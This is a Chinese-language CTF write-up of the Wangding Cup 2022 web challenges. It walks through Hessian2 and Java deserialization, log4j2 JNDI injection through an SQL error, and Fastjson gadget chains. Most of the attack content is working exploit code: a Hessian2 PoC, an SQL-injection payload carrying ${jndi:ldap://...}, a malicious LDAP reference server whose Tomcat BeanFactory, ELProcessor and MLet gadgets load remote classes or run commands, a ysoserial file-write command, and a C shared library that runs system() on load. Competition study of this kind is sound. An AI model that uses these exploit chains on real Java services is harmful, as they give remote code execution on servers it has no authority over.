网鼎杯2022
每年网鼎杯都有四场比赛,今年的青龙组和玄武组的web的题目直接给好评。非常值得赛后复现一下,但是还是要说做题时间十分有限,要在比赛的时间里面做出这么多题目确实还是不简单的。
BadBean
这是一道青龙组
的java
题目,最后是被ma4ter
带佬顺利拿下一血,并且成为最后赛场上的唯一解。我们首先打开题目所给的源码来进行题目的一步一步地分析和解答,其实题目本身并不难。
题目初探
首先关注的便是他的controller
部分的代码,很明显,这里就是一个Hessian2
的反序列化。

最常用的利用方式有如下。但是如果我们看过pom.xml
就会发现,好像是没有这几个依赖的。
Rome
XBean
Resin
pom.xml

甚至在依赖本身来说,只有两个dubbo:2.7.14
和HikariCP:2.6.1
。我们把依赖本身放到百度中去搜索,便能发现唯一一个满足这个依赖关系的文章: https://paper.seebug.org/1814/#_3: 最后达到的攻击效果就是:触发toString
。然后我们发现在题目给的bean
中有这么一个类com.ctf.badbean.bean.MyBean
public String toString() { System.out.println(1); StringBuffer sb = new StringBuffer(128); try { List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass); Iterator flag = propertyDescriptors.iterator();
while(flag.hasNext()) { PropertyDescriptor propertyDescriptor = (PropertyDescriptor)flag.next(); String propertyName = propertyDescriptor.getName(); Method getter = propertyDescriptor.getReadMethod(); Object value = getter.invoke(this.obj, new Object[0]); } } catch (Exception e) { Class<? extends Object> clazz = this.obj.getClass(); String errorMessage = e.getMessage(); sb.append(String.format("\n\nEXCEPTION: Could not complete %s.toString(): %s\n", clazz, errorMessage)); }
return sb.toString(); }
|
不难看出是触发任意getter
方法,所以最后很容易就把链子本身拼接出来。
题目解答
首先根据上面搜索到的文章,我们可以知道这个dubbo
的Hessian2
的反序列化,最关键的方法在于

所以就是想办法要触发到这一步,我们直接抄文章给出的代码。
package com.alibaba.com.caucho.hessian.io;
import com.alibaba.com.caucho.hessian.util.IdentityIntMap;
import java.io.IOException; import java.io.OutputStream; import java.util.HashMap;
public class Hessian2Output extends AbstractHessianOutput implements Hessian2Constants { public static final int SIZE = 4096; private final byte[] _buffer = new byte[4096]; protected OutputStream _os; private IdentityIntMap _refs = new IdentityIntMap(); private boolean _isCloseStreamOnClose; private HashMap _classRefs; private HashMap _typeRefs; private int _offset; private boolean _isStreaming;
public Hessian2Output(OutputStream os) { this._os = os; }
public void init(OutputStream os) { this.reset(); this._os = os; }
public void reset() { this.resetReferences(); if (this._classRefs != null) { this._classRefs.clear(); }
if (this._typeRefs != null) { this._typeRefs.clear(); }
this._offset = 0; }
public boolean isCloseStreamOnClose() { return this._isCloseStreamOnClose; }
public void setCloseStreamOnClose(boolean isClose) { this._isCloseStreamOnClose = isClose; }
public void call(String method, Object[] args) throws IOException { int length = args != null ? args.length : 0; this.startCall(method, length);
for (int i = 0; i < args.length; ++i) { this.writeObject(args[i]); }
this.completeCall(); }
public void startCall(String method, int length) throws IOException { int offset = this._offset; if (4096 < offset + 32) { this.flush(); offset = this._offset; }
byte[] buffer = this._buffer; buffer[this._offset++] = 67; this.writeString(method); this.writeInt(length); }
public void startCall() throws IOException { this.flushIfFull(); this._buffer[this._offset++] = 67; }
public void startEnvelope(String method) throws IOException { int offset = this._offset; if (4096 < offset + 32) { this.flush(); offset = this._offset; }
this._buffer[this._offset++] = 69; this.writeString(method); }
public void completeEnvelope() throws IOException { this.flushIfFull(); this._buffer[this._offset++] = 90; }
public void writeMethod(String method) throws IOException { this.writeString(method); }
public void completeCall() throws IOException { }
public void startReply() throws IOException { this.writeVersion(); this.flushIfFull(); this._buffer[this._offset++] = 82; }
public void writeVersion() throws IOException { this.flushIfFull(); this._buffer[this._offset++] = 72; this._buffer[this._offset++] = 2; this._buffer[this._offset++] = 0; }
public void completeReply() throws IOException { }
public void startMessage() throws IOException { this.flushIfFull(); this._buffer[this._offset++] = 112; this._buffer[this._offset++] = 2; this._buffer[this._offset++] = 0; }
public void completeMessage() throws IOException { this.flushIfFull(); this._buffer[this._offset++] = 122; }
public void writeFault(String code, String message, Object detail) throws IOException { this.flushIfFull(); this.writeVersion(); this._buffer[this._offset++] = 70; this._buffer[this._offset++] = 72; this._refs.put(new HashMap(), this._refs.size()); this.writeString("code"); this.writeString(code); this.writeString("message"); this.writeString(message); if (detail != null) { this.writeString("detail"); this.writeObject(detail); }
this.flushIfFull(); this._buffer[this._offset++] = 90; }
public void writeObject(Object object) throws IOException { if (object == null) { this.writeNull(); } else { Serializer serializer = this.findSerializerFactory().getSerializer(object.getClass()); serializer.writeObject(object, this); } }
public boolean writeListBegin(int length, String type) throws IOException { this.flushIfFull(); if (length < 0) { if (type != null) { this._buffer[this._offset++] = 85; this.writeType(type); } else { this._buffer[this._offset++] = 87; }
return true; } else if (length <= 7) { if (type != null) { this._buffer[this._offset++] = (byte) (112 + length); this.writeType(type); } else { this._buffer[this._offset++] = (byte) (120 + length); }
return false; } else { if (type != null) { this._buffer[this._offset++] = 86; this.writeType(type); } else { this._buffer[this._offset++] = 88; }
this.writeInt(length); return false; } }
public void writeListEnd() throws IOException { this.flushIfFull(); this._buffer[this._offset++] = 90; }
public void writeMapBegin(String type) throws IOException { if (4096 < this._offset + 32) { this.flush(); }
if (type != null) { this._buffer[this._offset++] = 77; this.writeType(type); } else { this._buffer[this._offset++] = 72; }
}
public void writeMapEnd() throws IOException { if (4096 < this._offset + 32) { this.flush(); }
this._buffer[this._offset++] = 90; }
public int writeObjectBegin(String type) throws IOException { if (this._classRefs == null) { this._classRefs = new HashMap(); }
Integer refV = (Integer) this._classRefs.get(type); int ref; if (refV != null) { ref = refV; if (4096 < this._offset + 32) { this.flush(); }
if (ref <= 15) { this._buffer[this._offset++] = (byte) (96 + ref); } else { this._buffer[this._offset++] = 79; this.writeInt(ref); }
return ref; } else { ref = this._classRefs.size(); this._classRefs.put(type, ref); if (4096 < this._offset + 32) { this.flush(); }
this._buffer[this._offset++] = 67; this.writeString(type); return -1; } }
public void writeClassFieldLength(int len) throws IOException { this.writeInt(len); }
public void writeObjectEnd() throws IOException { }
private void writeType(String type) throws IOException { this.flushIfFull(); int len = type.length(); if (len == 0) { throw new IllegalArgumentException("empty type is not allowed"); } else { if (this._typeRefs == null) { this._typeRefs = new HashMap(); }
Integer typeRefV = (Integer) this._typeRefs.get(type); if (typeRefV != null) { int typeRef = typeRefV; this.writeInt(typeRef); } else { this._typeRefs.put(type, this._typeRefs.size()); this.writeString(type); }
} }
public void writeBoolean(boolean value) throws IOException { if (4096 < this._offset + 16) { this.flush(); }
if (value) { this._buffer[this._offset++] = 84; } else { this._buffer[this._offset++] = 70; }
}
public void writeInt(int value) throws IOException { int offset = this._offset; byte[] buffer = this._buffer; if (4096 <= offset + 16) { this.flush(); offset = this._offset; }
if (-16 <= value && value <= 47) { buffer[offset++] = (byte) (value + 144); } else if (-2048 <= value && value <= 2047) { buffer[offset++] = (byte) (200 + (value >> 8)); buffer[offset++] = (byte) value; } else if (-262144 <= value && value <= 262143) { buffer[offset++] = (byte) (212 + (value >> 16)); buffer[offset++] = (byte) (value >> 8); buffer[offset++] = (byte) value; } else { buffer[offset++] = 73; buffer[offset++] = (byte) (value >> 24); buffer[offset++] = (byte) (value >> 16); buffer[offset++] = (byte) (value >> 8); buffer[offset++] = (byte) value; }
this._offset = offset; }
public void writeLong(long value) throws IOException { int offset = this._offset; byte[] buffer = this._buffer; if (4096 <= offset + 16) { this.flush(); offset = this._offset; }
if (-8L <= value && value <= 15L) { buffer[offset++] = (byte) ((int) (value + 224L)); } else if (-2048L <= value && value <= 2047L) { buffer[offset++] = (byte) ((int) (248L + (value >> 8))); buffer[offset++] = (byte) ((int) value); } else if (-262144L <= value && value <= 262143L) { buffer[offset++] = (byte) ((int) (60L + (value >> 16))); buffer[offset++] = (byte) ((int) (value >> 8)); buffer[offset++] = (byte) ((int) value); } else if (-2147483648L <= value && value <= 2147483647L) { buffer[offset + 0] = 89; buffer[offset + 1] = (byte) ((int) (value >> 24)); buffer[offset + 2] = (byte) ((int) (value >> 16)); buffer[offset + 3] = (byte) ((int) (value >> 8)); buffer[offset + 4] = (byte) ((int) value); offset += 5; } else { buffer[offset + 0] = 76; buffer[offset + 1] = (byte) ((int) (value >> 56)); buffer[offset + 2] = (byte) ((int) (value >> 48)); buffer[offset + 3] = (byte) ((int) (value >> 40)); buffer[offset + 4] = (byte) ((int) (value >> 32)); buffer[offset + 5] = (byte) ((int) (value >> 24)); buffer[offset + 6] = (byte) ((int) (value >> 16)); buffer[offset + 7] = (byte) ((int) (value >> 8)); buffer[offset + 8] = (byte) ((int) value); offset += 9; }
this._offset = offset; }
public void writeDouble(double value) throws IOException { int offset = this._offset; byte[] buffer = this._buffer; if (4096 <= offset + 16) { this.flush(); offset = this._offset; }
int intValue = (int) value; if ((double) intValue == value) { if (intValue == 0) { buffer[offset++] = 91; this._offset = offset; return; }
if (intValue == 1) { buffer[offset++] = 92; this._offset = offset; return; }
if (-128 <= intValue && intValue < 128) { buffer[offset++] = 93; buffer[offset++] = (byte) intValue; this._offset = offset; return; }
if (-32768 <= intValue && intValue < 32768) { buffer[offset + 0] = 94; buffer[offset + 1] = (byte) (intValue >> 8); buffer[offset + 2] = (byte) intValue; this._offset = offset + 3; return; } }
int mills = (int) (value * 1000.0D); if (0.001D * (double) mills == value) { buffer[offset + 0] = 95; buffer[offset + 1] = (byte) (mills >> 24); buffer[offset + 2] = (byte) (mills >> 16); buffer[offset + 3] = (byte) (mills >> 8); buffer[offset + 4] = (byte) mills; this._offset = offset + 5; } else { long bits = Double.doubleToLongBits(value); buffer[offset + 0] = 68; buffer[offset + 1] = (byte) ((int) (bits >> 56)); buffer[offset + 2] = (byte) ((int) (bits >> 48)); buffer[offset + 3] = (byte) ((int) (bits >> 40)); buffer[offset + 4] = (byte) ((int) (bits >> 32)); buffer[offset + 5] = (byte) ((int) (bits >> 24)); buffer[offset + 6] = (byte) ((int) (bits >> 16)); buffer[offset + 7] = (byte) ((int) (bits >> 8)); buffer[offset + 8] = (byte) ((int) bits); this._offset = offset + 9; } }
public void writeUTCDate(long time) throws IOException { if (4096 < this._offset + 32) { this.flush(); }
int offset = this._offset; byte[] buffer = this._buffer; if (time % 60000L == 0L) { long minutes = time / 60000L; if (minutes >> 31 == 0L || minutes >> 31 == -1L) { buffer[offset++] = 75; buffer[offset++] = (byte) ((int) (minutes >> 24)); buffer[offset++] = (byte) ((int) (minutes >> 16)); buffer[offset++] = (byte) ((int) (minutes >> 8)); buffer[offset++] = (byte) ((int) (minutes >> 0)); this._offset = offset; return; } }
buffer[offset++] = 74; buffer[offset++] = (byte) ((int) (time >> 56)); buffer[offset++] = (byte) ((int) (time >> 48)); buffer[offset++] = (byte) ((int) (time >> 40)); buffer[offset++] = (byte) ((int) (time >> 32)); buffer[offset++] = (byte) ((int) (time >> 24)); buffer[offset++] = (byte) ((int) (time >> 16)); buffer[offset++] = (byte) ((int) (time >> 8)); buffer[offset++] = (byte) ((int) time); this._offset = offset; }
public void writeNull() throws IOException { int offset = this._offset; byte[] buffer = this._buffer; if (4096 <= offset + 16) { this.flush(); offset = this._offset; }
buffer[offset++] = 78; this._offset = offset; }
public void writeString(String value) throws IOException { int offset = this._offset; byte[] buffer = this._buffer; if (4096 <= offset + 16) { this.flush(); offset = this._offset; }
if (value == null) { buffer[offset++] = 78; this._offset = offset; } else { int length = value.length();
int strOffset; int sublen; for (strOffset = 0; length > 32768; strOffset += sublen) { sublen = 32768; offset = this._offset; if (4096 <= offset + 16) { this.flush(); offset = this._offset; }
char tail = value.charAt(strOffset + sublen - 1); if ('\ud800' <= tail && tail <= '\udbff') { --sublen; }
buffer[offset + 0] = 82; buffer[offset + 1] = (byte) (sublen >> 8); buffer[offset + 2] = (byte) sublen; this._offset = offset + 3; this.printString(value, strOffset, sublen); length -= sublen; }
offset = this._offset; if (4096 <= offset + 16) { this.flush(); offset = this._offset; }
if (length <= 31) { if (value.startsWith("aaa")) { buffer[offset++] = 67; } else { buffer[offset++] = (byte) (0 + length); } } else if (length <= 1023) { buffer[offset++] = (byte) (48 + (length >> 8)); buffer[offset++] = (byte) length; } else { buffer[offset++] = 83; buffer[offset++] = (byte) (length >> 8); buffer[offset++] = (byte) length; }
if (!value.startsWith("aaa")) { this._offset = offset; this.printString(value, strOffset, length); } } }
public void writeString(char[] buffer, int offset, int length) throws IOException { if (buffer == null) { if (4096 < this._offset + 16) { this.flush(); }
this._buffer[this._offset++] = 78; } else { while (true) { if (length <= 32768) { if (4096 < this._offset + 16) { this.flush(); }
if (length <= 31) { this._buffer[this._offset++] = (byte) (0 + length); } else if (length <= 1023) { this._buffer[this._offset++] = (byte) (48 + (length >> 8)); this._buffer[this._offset++] = (byte) length; } else { this._buffer[this._offset++] = 83; this._buffer[this._offset++] = (byte) (length >> 8); this._buffer[this._offset++] = (byte) length; }
this.printString(buffer, offset, length); break; }
int sublen = 32768; if (4096 < this._offset + 16) { this.flush(); }
char tail = buffer[offset + sublen - 1]; if ('\ud800' <= tail && tail <= '\udbff') { --sublen; }
this._buffer[this._offset++] = 82; this._buffer[this._offset++] = (byte) (sublen >> 8); this._buffer[this._offset++] = (byte) sublen; this.printString(buffer, offset, sublen); length -= sublen; offset += sublen; } }
}
public void writeBytes(byte[] buffer) throws IOException { if (buffer == null) { if (4096 < this._offset + 16) { this.flush(); }
this._buffer[this._offset++] = 78; } else { this.writeBytes(buffer, 0, buffer.length); }
}
public void writeBytes(byte[] buffer, int offset, int length) throws IOException { if (buffer == null) { if (4096 < this._offset + 16) { this.flushBuffer(); }
this._buffer[this._offset++] = 78; } else { this.flush();
while (4096 - this._offset - 3 < length) { int sublen = 4096 - this._offset - 3; if (sublen < 16) { this.flushBuffer(); sublen = 4096 - this._offset - 3; if (length < sublen) { sublen = length; } }
this._buffer[this._offset++] = 65; this._buffer[this._offset++] = (byte) (sublen >> 8); this._buffer[this._offset++] = (byte) sublen; System.arraycopy(buffer, offset, this._buffer, this._offset, sublen); this._offset += sublen; length -= sublen; offset += sublen; this.flushBuffer(); }
if (4096 < this._offset + 16) { this.flushBuffer(); }
if (length <= 15) { this._buffer[this._offset++] = (byte) (32 + length); } else if (length <= 1023) { this._buffer[this._offset++] = (byte) (52 + (length >> 8)); this._buffer[this._offset++] = (byte) length; } else { this._buffer[this._offset++] = 66; this._buffer[this._offset++] = (byte) (length >> 8); this._buffer[this._offset++] = (byte) length; }
System.arraycopy(buffer, offset, this._buffer, this._offset, length); this._offset += length; }
}
public void writeByteBufferStart() throws IOException { }
public void writeByteBufferPart(byte[] buffer, int offset, int length) throws IOException { while (length > 0) { int sublen = length; if (32768 < length) { sublen = 32768; }
this.flush(); this._os.write(65); this._os.write(sublen >> 8); this._os.write(sublen); this._os.write(buffer, offset, sublen); length -= sublen; offset += sublen; }
}
public void writeByteBufferEnd(byte[] buffer, int offset, int length) throws IOException { this.writeBytes(buffer, offset, length); }
public OutputStream getBytesOutputStream() throws IOException { return new Hessian2Output.BytesOutputStream(); }
protected void writeRef(int value) throws IOException { if (4096 < this._offset + 16) { this.flush(); }
this._buffer[this._offset++] = 81; this.writeInt(value); }
public boolean addRef(Object object) throws IOException { int ref = this._refs.get(object); if (ref >= 0) { this.writeRef(ref); return true; } else { this._refs.put(object, this._refs.size()); return false; } }
public boolean removeRef(Object obj) throws IOException { if (this._refs != null) { this._refs.remove(obj); return true; } else { return false; } }
public boolean replaceRef(Object oldRef, Object newRef) throws IOException { Integer value = this._refs.remove(oldRef); if (value != null) { this._refs.put(newRef, value); return true; } else { return false; } }
public void resetReferences() { if (this._refs != null) { this._refs.clear(); }
}
public void writeStreamingObject(Object obj) throws IOException { this.startStreamingPacket(); this.writeObject(obj); this.endStreamingPacket(); }
public void startStreamingPacket() throws IOException { if (this._refs != null) { this._refs.clear(); }
this.flush(); this._isStreaming = true; this._offset = 3; }
public void endStreamingPacket() throws IOException { int len = this._offset - 3; this._buffer[0] = 80; this._buffer[1] = (byte) (len >> 8); this._buffer[2] = (byte) len; this._isStreaming = false; this.flush(); }
public void printLenString(String v) throws IOException { if (4096 < this._offset + 16) { this.flush(); }
if (v == null) { this._buffer[this._offset++] = 0; this._buffer[this._offset++] = 0; } else { int len = v.length(); this._buffer[this._offset++] = (byte) (len >> 8); this._buffer[this._offset++] = (byte) len; this.printString((String) v, 0, len); }
}
public void printString(String v) throws IOException { this.printString((String) v, 0, v.length()); }
public void printString(String v, int strOffset, int length) throws IOException { int offset = this._offset; byte[] buffer = this._buffer;
for (int i = 0; i < length; ++i) { if (4096 <= offset + 16) { this._offset = offset; this.flush(); offset = this._offset; }
char ch = v.charAt(i + strOffset); if (ch < 128) { buffer[offset++] = (byte) ch; } else if (ch < 2048) { buffer[offset++] = (byte) (192 + (ch >> 6 & 31)); buffer[offset++] = (byte) (128 + (ch & 63)); } else { buffer[offset++] = (byte) (224 + (ch >> 12 & 15)); buffer[offset++] = (byte) (128 + (ch >> 6 & 63)); buffer[offset++] = (byte) (128 + (ch & 63)); } }
this._offset = offset; }
public void printString(char[] v, int strOffset, int length) throws IOException { int offset = this._offset; byte[] buffer = this._buffer;
for (int i = 0; i < length; ++i) { if (4096 <= offset + 16) { this._offset = offset; this.flush(); offset = this._offset; }
char ch = v[i + strOffset]; if (ch < 128) { buffer[offset++] = (byte) ch; } else if (ch < 2048) { buffer[offset++] = (byte) (192 + (ch >> 6 & 31)); buffer[offset++] = (byte) (128 + (ch & 63)); } else { buffer[offset++] = (byte) (224 + (ch >> 12 & 15)); buffer[offset++] = (byte) (128 + (ch >> 6 & 63)); buffer[offset++] = (byte) (128 + (ch & 63)); } }
this._offset = offset; }
private final void flushIfFull() throws IOException { int offset = this._offset; if (4096 < offset + 32) { this._offset = 0; this._os.write(this._buffer, 0, offset); }
}
public final void flush() throws IOException { this.flushBuffer(); if (this._os != null) { this._os.flush(); }
}
public final void flushBuffer() throws IOException { int offset = this._offset; if (!this._isStreaming && offset > 0) { this._offset = 0; this._os.write(this._buffer, 0, offset); } else if (this._isStreaming && offset > 3) { int len = offset - 3; this._buffer[0] = 112; this._buffer[1] = (byte) (len >> 8); this._buffer[2] = (byte) len; this._offset = 3; this._os.write(this._buffer, 0, offset); }
}
public final void close() throws IOException { this.flush(); OutputStream os = this._os; this._os = null; if (os != null && this._isCloseStreamOnClose) { os.close(); }
}
public void setSerializerFactory(SerializerFactory serializerFactory) { }
class BytesOutputStream extends OutputStream { private int _startOffset;
BytesOutputStream() throws IOException { if (4096 < Hessian2Output.this._offset + 16) { Hessian2Output.this.flush(); }
this._startOffset = Hessian2Output.this._offset; Hessian2Output.this._offset = Hessian2Output.this._offset + 3; }
public void write(int ch) throws IOException { if (4096 <= Hessian2Output.this._offset) { int length = Hessian2Output.this._offset - this._startOffset - 3; Hessian2Output.this._buffer[this._startOffset] = 65; Hessian2Output.this._buffer[this._startOffset + 1] = (byte) (length >> 8); Hessian2Output.this._buffer[this._startOffset + 2] = (byte) length; Hessian2Output.this.flush(); this._startOffset = Hessian2Output.this._offset; Hessian2Output.this._offset = Hessian2Output.this._offset + 3; }
Hessian2Output.this._buffer[Hessian2Output.this._offset++] = (byte) ch; }
public void write(byte[] buffer, int offset, int length) throws IOException { while (length > 0) { int sublen = 4096 - Hessian2Output.this._offset; if (length < sublen) { sublen = length; }
if (sublen > 0) { System.arraycopy(buffer, offset, Hessian2Output.this._buffer, Hessian2Output.this._offset, sublen); Hessian2Output.this._offset = Hessian2Output.this._offset + sublen; }
length -= sublen; offset += sublen; if (4096 <= Hessian2Output.this._offset) { int chunkLength = Hessian2Output.this._offset - this._startOffset - 3; Hessian2Output.this._buffer[this._startOffset] = 65; Hessian2Output.this._buffer[this._startOffset + 1] = (byte) (chunkLength >> 8); Hessian2Output.this._buffer[this._startOffset + 2] = (byte) chunkLength; Hessian2Output.this.flush(); this._startOffset = Hessian2Output.this._offset; Hessian2Output.this._offset = Hessian2Output.this._offset + 3; } }
}
public void close() throws IOException { int startOffset = this._startOffset; this._startOffset = -1; if (startOffset >= 0) { int length = Hessian2Output.this._offset - startOffset - 3; Hessian2Output.this._buffer[startOffset] = 66; Hessian2Output.this._buffer[startOffset + 1] = (byte) (length >> 8); Hessian2Output.this._buffer[startOffset + 2] = (byte) length; Hessian2Output.this.flush(); } } } }
|
不难看出,其中最关键的代码在这里

所以最后的POC.java
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); HikariDataSource ds = new HikariDataSource(); ds.setPoolName("pool"); ds.setDataSourceJNDI("ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho/1"); Hessian2Output out = new Hessian2Output(byteArrayOutputStream); Object o = new com.ctf.badbean.bean.MyBean("", "", ds, com.zaxxer.hikari.HikariDataSource.class); out.writeString("aaa"); out.writeObject(o); out.flushBuffer(); System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray())); Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream((byteArrayOutputStream.toByteArray()))); hessian2Input.readObject();
|
发现运行之后,没有什么用?我们来分析程序流程。
首先在第一次writeString
的时候

写完之后,buffer的首位就是67
(具体含义查看文章)。但是在写入后面的object
的时候,我们发现this._offset
没有+1,意思就是,在writeObject
的时候,又会从首字节开始写,最后导致只能刚好readobject=>readString
到不了expect
.所以我们把注释去掉就好了。
JndiLog
题目初探
最喜欢这种给源码的题目,可以做白盒就不要做黑盒。

可以看到这里有一个简单的sql注入
,然后又对于SQL
注入中的报错使用了log4j2
,所以我们不难想到报错注入==>log4j2
。大概使用下面的payload就能做到。
admin'/**/and/**/updatexml(1,concat(0x7e,(SELECT "${jndi:ldap://127.0.0.1:1390/a}"),0x7e),1)#
|
题目解答
拿到jndi
的注入之后,我们不难猜到这个是高版本的jdk,就不要考虑什么codebase
之类的,要考虑高版本的bypass了。借鉴:探索高版本 JDK 下 JNDI 漏洞的利用方法。然后我们并且要结合本地可能存在的反序列化链子进行处理。不难发现

这个刚好是一个写文件的链子,所以我们现在可以向题目环境中写一个任意文件了,配合上面的文章,我们可以考虑system.loadlibray
。
private static ResourceRef tomcat_loadLibrary(){ ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=loadLibrary")); ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd")); return ref; }
|
所以这个题目的思路就闭合了。大概需要下面的几步。
java -jar ysoxxx.jar aspectjweaver "filename;{base64}" | base64 -w0
|
然后替换下面的LDAP的server数据
package org.example;
import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.util.Base64;
import javax.naming.StringRefAddr; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.apache.naming.ResourceRef;
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) { int port = 1390;
String url = "http://" + "www.baidu.com"+ ":34560/#BehinderFilter" ;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("[+] LDAP Server2 Listening Start on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); }
}
private static ResourceRef tomcatMLet() { ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass")); ref.add(new StringRefAddr("a", "javax.el.ELProcessor")); ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/")); ref.add(new StringRefAddr("c", "Blue")); return ref; } private static ResourceRef tomcatEL() { ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")")); return ref; } public static byte[] serialize(Object ref) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(ref); return out.toByteArray(); } private static ResourceRef tomcat_loadLibrary(){ ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=loadLibrary")); ref.add(new StringRefAddr("a", "{path}")); return ref; } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException { System.out.println("Sending LDAP ResourceRef result for " + base + " with javax.el.ELProcessor payload"); e.addAttribute("javaClassName", "java.lang.String"); e.addAttribute("javaSerializedData", this.serialize(tomcat_loadLibrary())); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
首先把上面的部分e.addAttribute("javaSerializedData", this.serialize(tomcat_loadLibrary()));
换成我们要使用的base64代码解码之后的数据,完成写文件。
然后使用 e.addAttribute("javaSerializedData", this.serialize(tomcat_loadLibrary()));
就可以完成加载。
#include<stdlib.h> #include<stdio.h>
void __attribute__((constructor)) my_init_so(){ system("calc"); } int rand(void){ printf("hoook!"); return 100; } # gcc -fPIC -shared
|
请注意:这里文件名字背后会被自动添加dll
和so
,所以需要做好处理。

最后完成效果

easyjava
题目初探
可以看到直接就是一个反序列化,简直不要太兴奋。

我们继续看EInputStream.java
。

在这一块给出的限制,也就是每次都是使用根加载器,只能加载jdk
相关类,不难加载用户自定义的类,不难想到需要使用到二次反序列化。
题目解答
思路: JRMP==> FASTJSON
.表面上的总所周知: JSONObject的toString可以调getter
,然后配合上templatesImpl
就可以完成题目了。配合BadAttributeValueExpException
。注意jdk的版本。
感谢人潮人涌你师傅:这个总所周知就很到位。
JAVA ⼆次反序列化姿势:
java.security.SignedObject#getObject
javax.management.remote.rmi.RMIConnector#findRMIServerJRMP
JRMP
public BadAttributeValueExpException getObject(String command) throws Exception { Object templatesImpl = Gadgets.createTemplatesImpl(command); JSONObject jo = new JSONObject(); jo.put("oops",templatesImpl); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, jo); return val; }
|
剩下的就是基本操作了。第一次做到这个题目,很新颖,学到很多。
FindIT
Thymeleaf模板注⼊ 多的不说 直接看
https://dem0dem0.top/2022/06/12/thymeleaf%E6%8E%A2%E9%99%A9/